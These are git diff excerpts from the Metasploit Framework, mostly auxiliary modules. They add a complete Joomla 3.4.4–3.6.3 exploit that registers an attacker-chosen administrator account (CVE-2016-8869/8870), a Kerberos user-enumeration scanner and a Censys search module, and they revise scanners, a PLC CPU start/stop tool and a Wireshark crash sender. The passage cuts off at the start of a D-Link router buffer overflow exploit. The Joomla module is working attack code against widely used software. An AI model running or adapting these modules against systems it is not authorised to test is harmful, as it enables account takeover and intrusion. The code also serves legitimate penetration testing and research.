response = get_response("#{action.opts[protocol_opt_name]}\n") response = get_response("#{action.opts[protocol_opt_name]}\n")
print_good("#{protocol} #{action.opts['Description']}:\n#{response}") print_good("#{protocol} #{action.opts['Description']}:")
print_line(response)
end end
ensure ensure
disconnect disconnect

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla Account Creation and Privilege Escalation',
'Description' => %q{
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
},
'References' =>
[
['CVE', '2016-8869'],
['CVE', '2016-8870'],
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
],
'Author' =>
[
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Oct 25 2016'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com'])
]
)
end
def check
res = send_request_cgi('uri' => target_uri.path)
unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
online = joomla_and_online?
unless online
print_error("Unable to detect joomla on #{target_uri.path}")
return Exploit::CheckCode::Safe
end
version = Gem::Version.new(joomla_version)
if version
print_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
end
return Exploit::CheckCode::Detected if online
end
def get_csrf(hidden_fields)
hidden_list = hidden_fields
hidden_list.each do |fields|
fields.each do |item|
if item[0].length == 32 && item[1] == '1'
return item[0]
end
end
end
end
def run
if check == Exploit::CheckCode::Safe
print_error('Target seems safe, so we will not continue!')
return
end
print_status("Trying to create the user!")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'vars_get' => {
'view' => 'login'
}
)
if res && res.code == 200
cookie = res.get_cookies
csrf = get_csrf(res.get_hidden_inputs)
if csrf.length != 32 && cookie.split(/=/).length != 2
print_error('Could not find csrf or cookie!')
return
end
else
print_error('Could not find Login Page!')
return
end
mime = Rex::MIME::Message.new
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code == 200
print_good("PWND - Your user has been created")
print_status("\tUsername: " + datastore['USERNAME'])
print_status("\tPassword: " + datastore['PASSWORD'])
print_status("\tEmail: " + datastore['EMAIL'])
elsif res.redirect?
res = send_request_cgi!(
'uri' => res.redirection.path,
'method' => 'GET',
'cookie' => cookie
)
print_error("There was an issue, but the user could have been created.")
parsed_data = res.get_html_document
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
print_error("\t" + alert_msg.text)
end
else
print_error("This host may not be vulnerable.")
end
end
end

View File

@ -20,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
It allows a remote user to read out the PLC Type, Firmware and It allows a remote user to read out the PLC Type, Firmware and
Build number on port TCP/1962. Build number on port TCP/1962.
And also to read out the CPU State (Running or Stopped) AND start And also to read out the CPU State (Running or Stopped) AND start
or stop the CPU on port TCP/20547 (confirmed ILC 15x and 17x series) or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
or on port TCP/41100 (confirmed ILC 39x series) or on port TCP/20547 (confirmed ILC 39x series)
}, },
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>', 'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -211,11 +211,11 @@ class MetasploitModule < Msf::Auxiliary
if device.start_with?('ILC 15', 'ILC 17') if device.start_with?('ILC 15', 'ILC 17')
devicetype = '15x' devicetype = '15x'
print_status('--> Detected 15x/17x series, getting current CPU state:') print_status('--> Detected 15x/17x series, getting current CPU state:')
ractionport == 0 ? (rport = 41100) : (rport = ractionport) ractionport.nil? ? (rport = 41100) : (rport = ractionport)
elsif device.start_with?('ILC 39') elsif device.start_with?('ILC 39')
devicetype = '39x' devicetype = '39x'
print_status('--> Detected 39x series, getting current CPU state:') print_status('--> Detected 39x series, getting current CPU state:')
ractionport == 0 ? (rport = 20547) : (rport = ractionport) ractionport.nil? ? (rport = 20547) : (rport = ractionport)
else else
print_error('Only ILC and (some) RFC devices are supported.') print_error('Only ILC and (some) RFC devices are supported.')
return return

View File

@ -99,9 +99,9 @@ class MetasploitModule < Msf::Auxiliary
print_status("Executing the command...") print_status("Executing the command...")
begin begin
return psexec(execute) return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
print_error("Unable to execute specified command: #{exec_command_error}") print_error("Unable to execute specified command: #{e}")
return false return false
end end
end end
@ -136,8 +136,13 @@ class MetasploitModule < Msf::Auxiliary
# check if our process is done using these files # check if our process is done using these files
def exclusive_access(*files) def exclusive_access(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}") simple.connect("\\\\#{@ip}\\#{@smbshare}")
files.each do |file| rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
begin begin
print_status("checking if the file is unlocked") print_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo') fd = smb_open(file, 'rwo')
@ -154,7 +159,12 @@ class MetasploitModule < Msf::Auxiliary
# Removes files created during execution. # Removes files created during execution.
def cleanup_after(*files) def cleanup_after(*files)
simple.connect("\\\\#{@ip}\\#{@smbshare}") begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
print_status("Executing cleanup...") print_status("Executing cleanup...")
files.each do |file| files.each do |file|
begin begin

View File

@ -17,13 +17,13 @@ class MetasploitModule < Msf::Auxiliary
Wireshark crash when dissecting an HTTP chunked response. Wireshark crash when dissecting an HTTP chunked response.
Versions affected: 0.99.5 (Bug 1394) Versions affected: 0.99.5 (Bug 1394)
}, },
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ], 'Author' => ['Matteo Cantoni <goony[at]nothink.org>'],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'CVE', '2007-3389'], ['CVE', '2007-3389'],
[ 'OSVDB', '37643'], ['OSVDB', '37643'],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'], ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394'],
], ],
'DisclosureDate' => 'Feb 22 2007')) 'DisclosureDate' => 'Feb 22 2007'))
@ -42,13 +42,13 @@ class MetasploitModule < Msf::Auxiliary
p = PacketFu::TCPPacket.new p = PacketFu::TCPPacket.new
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost) p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
p.ip_daddr = dhost p.ip_daddr = rhost
p.tcp_dport = rand(65535)+1 p.tcp_dport = rand(65535)+1
n.tcp_ack = rand(0x100000000) p.tcp_ack = rand(0x100000000)
p.tcp_flags.psh = 1 p.tcp_flags.psh = 1
p.tcp_flags.ack = 1 p.tcp_flags.ack = 1
p.tcp_sport = datastore['SPORT'].to_i p.tcp_sport = datastore['SPORT'].to_i
p.tcp_window = 3072 p.tcp_win = 3072
# The following hex blob contains an HTTP response with a chunked-encoding # The following hex blob contains an HTTP response with a chunked-encoding
# length of 0. The ASCII version is below in a block comment. # length of 0. The ASCII version is below in a block comment.

View File

@ -49,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
p.tcp_flags.syn = 1 p.tcp_flags.syn = 1
p.tcp_flags.ack = 1 p.tcp_flags.ack = 1
p.tcp_dport = datastore['RPORT'].to_i p.tcp_dport = datastore['RPORT'].to_i
p.tcp_window = 3072 p.tcp_win = 3072
p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016" p.payload = "0O\002\002;\242cI\004\rdc=#{m},dc=#{m}\n\001\002\n\001\000\002\001\000\002\001\000\001\001\000\241'\243\016"
p.recalc p.recalc
capture_sendto(p, rhost) capture_sendto(p, rhost)

View File

@ -0,0 +1,172 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/http'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Censys Search',
'Description' => %q{
The module use the Censys REST API to access the same data
accessible through web interface. The search endpoint allows searches
against the current data in the IPv4, Top Million Websites, and
Certificates indexes using the same search syntax as the primary site.
},
'Author' => [ 'Nixawk' ],
'References' => [
['URL', 'https://censys.io/api']
],
'License' => MSF_LICENSE
))
register_options([
OptString.new('CENSYS_UID', [true, 'The Censys API UID']),
OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),
OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']),
OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']])
], self.class)
end
def basic_auth_header(username, password)
auth_str = username.to_s + ":" + password.to_s
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
end
def search(keyword, search_type)
# search_type should be one of ipv4, websites, certificates
begin
# "80.http.get.headers.server: Apache"
payload = {
'query' => keyword
}
@cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true)
@cli.connect
response = @cli.request_cgi(
'method' => 'post',
'uri' => "/api/v1/search/#{search_type}",
'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) },
'data' => payload.to_json
)
res = @cli.send_recv(response)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed")
end
unless res
print_error('server_response_error')
return
end
records = ActiveSupport::JSON.decode(res.body)
results = records['results']
if @searchtype.include?('certificates')
parse_certificates(results)
elsif @searchtype.include?('ipv4')
parse_ipv4(results)
elsif @searchtype.include?('websites')
parse_websites(results)
end
end
def valid_domain?(domain)
domain =~ /^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/
end
def domain2ip(domain)
ips = []
begin
ips = Rex::Socket.getaddresses(domain)
rescue SocketError
end
ips
end
def parse_certificates(records)
ips = []
records.each do |certificate|
# parsed.fingerprint_sha256
# parsed.subject_dn
# parsed.issuer_dn
subject_dn = certificate['parsed.subject_dn'].join(',')
next unless subject_dn.include?('CN=')
host = subject_dn.split('CN=')[1]
if Rex::Socket.is_ipv4?(host)
ips << host
elsif valid_domain?(host) # Fake DNS server
ips |= domain2ip(host)
end
ips.each do |ip|
print_good("#{ip} - #{subject_dn}")
report_host(:host => ip, :info => subject_dn)
end
end
end
def parse_ipv4(records)
records.each do |ipv4|
# ip
# protocols
ip = ipv4['ip']
protocols = ipv4['protocols']
protocols.each do |protocol|
print_good("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}")
port, name = protocol.split('/')
report_service(:host => ip, :port => port, :name => name)
end
end
end
def parse_websites(records)
records.each do |website|
# domain
# alexa_rank
print_good("#{website['domain']} - #{website['alexa_rank']}")
domain = website['domain']
ips = domain2ip(domain)
ips.each do |ip|
report_host(:host =>ip)
end
end
end
# Check to see if www.censys.io resolves properly
def censys_resolvable?
begin
Rex::Socket.resolv_to_dotted("www.censys.io")
rescue RuntimeError, SocketError
return false
end
true
end
def run
# check to ensure www.censys.io is resolvable
unless censys_resolvable?
print_error("Unable to resolve www.censys.io")
return
end
@uid = datastore['CENSYS_UID']
@secret = datastore['CENSYS_SECRET']
@dork = datastore['CENSYS_DORK']
@searchtype = datastore['CENSYS_SEARCHTYPE']
search(@dork, @searchtype)
end
end

View File

@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
host = "[#{host}]" host = "[#{host}]"
end end
if datastore['URIPORT'] != 0 if datastore['URIPORT']
port = ':' + datastore['URIPORT'].to_s port = ':' + datastore['URIPORT'].to_s
elsif (ssl and datastore["SRVPORT"] == 443) elsif (ssl and datastore["SRVPORT"] == 443)
port = '' port = ''

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Kerberos::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Kerberos Domain User Enumeration',
'Description' => %q(
This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises
the different responses returned by the service for valid and invalid users.
),
'Author' =>
[
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html']
],
'License' => MSF_LICENSE
)
)
register_options(
[
OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]),
OptPath.new(
'USER_FILE',
[true, 'Files containing usernames, one per line', nil]
)
],
self.class
)
end
def user_list
users = nil
if File.readable? datastore['USER_FILE']
users = File.new(datastore['USER_FILE']).read.split
users.each { |u| u.downcase! }
users.uniq!
else
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
end
users
end
def run
print_status("Validating options...")
domain = datastore['DOMAIN'].upcase
user_file = datastore['USER_FILE']
print_status("Using domain: #{domain}...")
pre_auth = []
pre_auth << build_pa_pac_request
pre_auth
user_list.each do |user|
print_status("#{peer} - Testing User: \"#{user}\"...")
res = send_request_as(
client_name: "#{user}",
server_name: "krbtgt/#{domain}",
realm: "#{domain}",
pa_data: pre_auth
)
print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"]
print_good("#{peer} - User: \"#{user}\" is present")
report_cred(
host: datastore['RHOST'],
port: rport,
creds_name: 'Kerberos',
user: user
)
elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"]
print_error("#{peer} - User: \"#{user}\" account disabled or locked out")
else
print_status("#{peer} - User: \"#{user}\" does not exist")
end
end
end
def report_cred(opts)
service_data = {
address: opts[:host],
port: opts[:port],
protocol: 'udp',
workspace_id: myworkspace.id,
service_name: opts[:creds_name]
}
credential_data = {
username: opts[:user],
origin_type: :service,
module_fullname: self.fullname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def warn_error(res)
msg = ''
if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code)
error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code]
msg = "#{error_info[0]} - #{error_info[1]}"
else
msg = 'Wrong DOMAIN Name? Check DOMAIN and retry...'
end
end
end

View File

@ -98,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
progress(file_size, file_size) progress(file_size, file_size)
fname = datastore['PATH'].gsub(/[\/\\]/, '_') fname = datastore['PATH'].gsub(/[\/\\]/, '_')
p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) p = store_loot("titanftp.traversal", "text/plain", ip, file_data, fname)
print_status("Saved in: #{p}") print_status("Saved in: #{p}")
vprint_status(file_data.inspect) vprint_status(file_data.inspect)

View File

@ -89,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
# Look for a string we can signature on as well # Look for a string we can signature on as well
if(tcode >= 200 and tcode <= 299) if(tcode >= 200 and tcode <= 299)
emesg = nil
File.open(datastore['HTTP404Sigs'], 'rb').each do |str| File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
if(res.body.index(str)) if(res.body.index(str))
emesg = str emesg = str

View File

@ -8,8 +8,8 @@ require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/buffalo' require 'metasploit/framework/login_scanner/buffalo'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::AuthBrute

View File

@ -7,7 +7,7 @@ require 'msf/core'
class MetasploitModule < Msf::Auxiliary class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -16,8 +16,10 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'HTTP Open Proxy Detection', 'Name' => 'HTTP Open Proxy Detection',
'Description' => %q{ 'Description' => %q{
Checks if an HTTP proxy is open. False positive are avoided Checks if an HTTP proxy is open. False positive are avoided
verifing the HTTP return code and matching a pattern. verifying the HTTP return code and matching a pattern.
The CONNECT method is verified only the return code.
HTTP headers are shown regarding the use of proxy or load balancer.
}, },
'References' => 'References' =>
[ [
@ -31,224 +33,126 @@ class MetasploitModule < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]), OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123', false ]),
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]), OptBool.new('VERIFYCONNECT', [ false, 'Enable CONNECT HTTP method check', false ]),
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]), OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]),
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]), OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]),
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]), OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '<TITLE>302 Moved</TITLE>' ]),
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]),
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
], self.class)
register_advanced_options(
[
OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]),
], self.class) ], self.class)
register_wmap_options({ register_wmap_options({
'OrderID' => 1, 'OrderID' => 1,
'Require' => {}, 'Require' => {},
}) })
end end
def run_host(target_host) def run_host(target_host)
check_url = datastore['CHECKURL']
if datastore['VERIFYCONNECT']
target_method = 'CONNECT'
# CONNECT doesn't need <scheme> but need port
check_url = check_url.gsub(/[http:\/\/|https:\/\/]/, '')
if check_url !~ /:443$/
check_url = check_url + ":443"
end
else
target_method = 'GET'
# GET only http request
check_url = check_url.gsub(/https:\/\//, '')
if check_url !~ /^http:\/\//i
check_url = 'http://' + check_url
end
end
target_ports = [] target_ports = []
if datastore['MULTIPORTS'] if datastore['MULTIPORTS']
target_ports = [ 80, 1080, 3128, 8080, 8123 ] target_ports = [ 80, 443, 1080, 3128, 8000, 8080, 8123 ]
else
target_ports.push(datastore['RPORT'].to_i)
end end
target_ports.push(datastore['RPORT'].to_i) target_proxy_headers = [ 'Forwarded', 'Front-End-Https', 'Max-Forwards', 'Via', 'X-Cache', 'X-Cache-Lookup', 'X-Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host' ]
if datastore['RANDOMIZE_PORTS']
target_ports = target_ports.sort_by { rand }
end
target_ports = target_ports.uniq
site = datastore['SITE']
user_agent = datastore['UserAgent']
target_ports.each do |target_port| target_ports.each do |target_port|
datastore['RPORT'] = target_port verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
if target_host == site
print_error("Target is the same as proxy site.")
else
check_host(target_host,target_port,site,user_agent)
end
end end
end end
def check_pattern(res,pattern) def verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
if (res =~ /#{pattern}/i) vprint_status("#{peer} - Sending a web request... [#{target_method}][#{check_url}]")
return 1
else
return 0
end
end datastore['RPORT'] = target_port
def write_request(method,site,user_agent)
request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" +
"Host: " + site + "\r\n" +
"Connection: close" + "\r\n" +
"User-Agent: #{user_agent}" + "\r\n" +
"Accept-Encoding: *" + "\r\n" +
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" +
"Cache-Control: no" + "\r\n" +
"Accept-Language: de,en;q=0.7,en-us;q=0.3" + "\r\n" +
"\r\n"
return request
end
def send_request(site,user_agent)
begin begin
connect res = send_request_cgi(
'uri' => check_url,
request = write_request('GET',site,user_agent) 'method' => target_method,
sock.put(request) 'version' => '1.1'
res = sock.get_once(-1, 10)
disconnect
validcodes = datastore['ValidCode'].split(/,/)
is_valid = 0
retcode = 0
retvia = 'n/a'
retsrv = 'n/a'
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
retcode = $1
if (res.match(/Server: (.*)/))
retsrv = $1.chomp
end
if (res.match(/Via: (.*)\((.*)\)/))
retvia = $2
end
validcodes.each do |validcode|
if (retcode.to_i == validcode.to_i)
is_valid += 1
end
end
if (check_pattern(res,datastore['ValidPattern']) == 1)
is_valid += 1
end
end
retres = [ is_valid, retcode, retvia, retsrv ]
return retres
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def send_request_ripe(user_agent)
ripe_address = datastore['RIPE_ADDRESS']
begin
connect
request = write_request('GET',ripe_address,user_agent)
sock.put(request)
res = sock.get_once(-1, 10)
disconnect
retres = 0
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
retcode = $1
if (retcode.to_i == 200)
res.match(/Your IP Address is: <strong>(\s+)([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})(\s+)<\/strong>/m)
retres = "#{$2}.#{$3}.#{$4}.#{$5}"
end
end
return retres
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def check_host(target_host,target_port,site,user_agent)
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)
if (is_valid == 2)
print_status("#{target_host}:#{target_port} is a potentially OPEN proxy [#{retcode}] (#{retvia})")
report_note(
:host => target_host,
:port => target_port,
:method => 'GET',
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN PROXY',
:data => 'Open proxy'
) )
if (datastore['VERIFY_CONNECT']) return if not res
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent) vprint_status("#{peer} - Returns with '#{res.code}' status code [#{target_method}][#{check_url}]")
if (permit_connect == 2) valid_codes = datastore['VALIDCODES'].split(/,/)
print_status("#{target_host}:#{target_port} CONNECT method successfully tested")
target_proxy_headers_results = []
target_proxy_headers.each do |proxy_header|
if (res.headers.to_s.match(/#{proxy_header}: (.*)/))
proxy_header_value = $1
# Ok...I don't like it but works...
target_proxy_headers_results.push("\n |_ #{proxy_header}: #{proxy_header_value}")
end
end
if target_proxy_headers_results.any?
proxy_headers = target_proxy_headers_results.join()
end
if datastore['VERIFYCONNECT']
# Verifiying CONNECT we check only the return code
if valid_codes.include?(res.code.to_s)
print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
report_note( report_note(
:host => target_host, :host => target_host,
:port => target_port, :port => target_port,
:method => 'CONNECT' :method => target_method,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN HTTP PROXY',
:data => 'Open http proxy (CONNECT)'
) )
end end
end else
# Verify return code && (headers.pattern or body.pattern)
if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) || res.body.include?(datastore['VALIDPATTERN']))
if (datastore['VERIFY_HEAD']) print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent)
if (permit_connect == 2)
print_status("#{target_host}:#{target_port} HEAD method successfully tested")
report_note( report_note(
:host => target_host, :host => target_host,
:port => target_port, :port => target_port,
:method => 'HEAD' :method => target_method,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN HTTP PROXY',
:data => 'Open http proxy (GET)'
) )
end end
end end
if (datastore['LOOKUP_PUBLIC_ADDRESS']) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The port '#{target_port}' is unreachable!")
retres = send_request_ripe(user_agent) return nil
if (retres != 0)
print_status("#{target_host}:#{target_port} using #{retres} public IP address")
end
end
end end
end end
end end

View File

@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary
if(success == 1) if(success == 1)
vendor_len = response[24,2].unpack('v')[0] vendor_len = response[24,2].unpack('v')[0]
vendor = response[40,vendor_len].unpack('A*')[0] vendor = response[40,vendor_len].unpack('A*')[0]
print_status("#{ip} Open X Server (#{vendor})") print_good("#{ip} Open X Server (#{vendor})")
# Add Report # Add Report
report_note( report_note(
:host => ip, :host => ip,
@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
:data => "Open X Server (#{vendor})" :data => "Open X Server (#{vendor})"
) )
elsif (success == 0) elsif (success == 0)
print_status("#{ip} Access Denied") print_error("#{ip} Access Denied")
else else
# X can return a reason for auth failure but we don't really care for this # X can return a reason for auth failure but we don't really care for this
end end

View File

@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary
raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP'] @sip = datastore['LOCALSIP']
@sip ||= get_ipv4_addr(@interface)[0] if @netifaces @sip ||= get_ipv4_addr(@interface) if @netifaces
raise "LOCALSIP is not defined and can not be guessed" unless @sip raise "LOCALSIP is not defined and can not be guessed" unless @sip
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)

View File

@ -0,0 +1,300 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
# Payload working status:
# MIPS:
# - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
# - inline rev/bind shell works (bind... meh sometimes)
# - stager rev/bind shell FAIL
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
'Description' => %q{
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
